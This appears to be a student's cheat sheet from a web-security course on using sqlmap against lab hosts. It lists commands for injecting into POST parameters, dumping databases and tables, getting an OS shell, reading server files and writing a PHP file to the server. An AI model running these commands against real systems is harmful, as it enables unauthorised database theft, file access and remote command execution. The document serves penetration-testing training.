Skip to content

SQL Map

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order"

Damp tables

sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" --dbms=mysql --dump

Result: Pasted image 20230509162237.png

Example for multipart/form

sqlmap -r request.txt
request.txt
POST /test HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266 Content-Length: 552 -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="textfield"; filename="file.txt" Content-Type: text/plain This is a test file for sqlmap. -----------------------------9051914041544843365972754266 Content-Disposition: form-data; name="submit" Submit -----------------------------9051914041544843365972754266--

Reverse shell

sqlmap -r request.txt --os-shell

Database list and table list

sqlmap -r request.txt --dbs
sqlmap -r request.txt -D database_name --tables

sqlmap -r request.txt -D database_name -T table_name --dump
After every session need to delete ~/local/share/sqlmap/output/sql-sandbox

Read and write files

sqlmap -u http://app5/login.php --method POST --data "username=kaleb&password=admin"  --file-read="/opt/posts/archive/85.txt" 
sqlmap -u http://app5/login.php --method POST --data "username=kaleb&password=admin"   --file-write="test2.php" --file-dest="/opt/posts/archive/test2.php"

References

  1. (Bernardo Damele A.G. and Miroslav Stampar, 2021), https://sqlmap.org/
  2. web200.SQL Injection.Database dumping with Automated Tools.SQLMap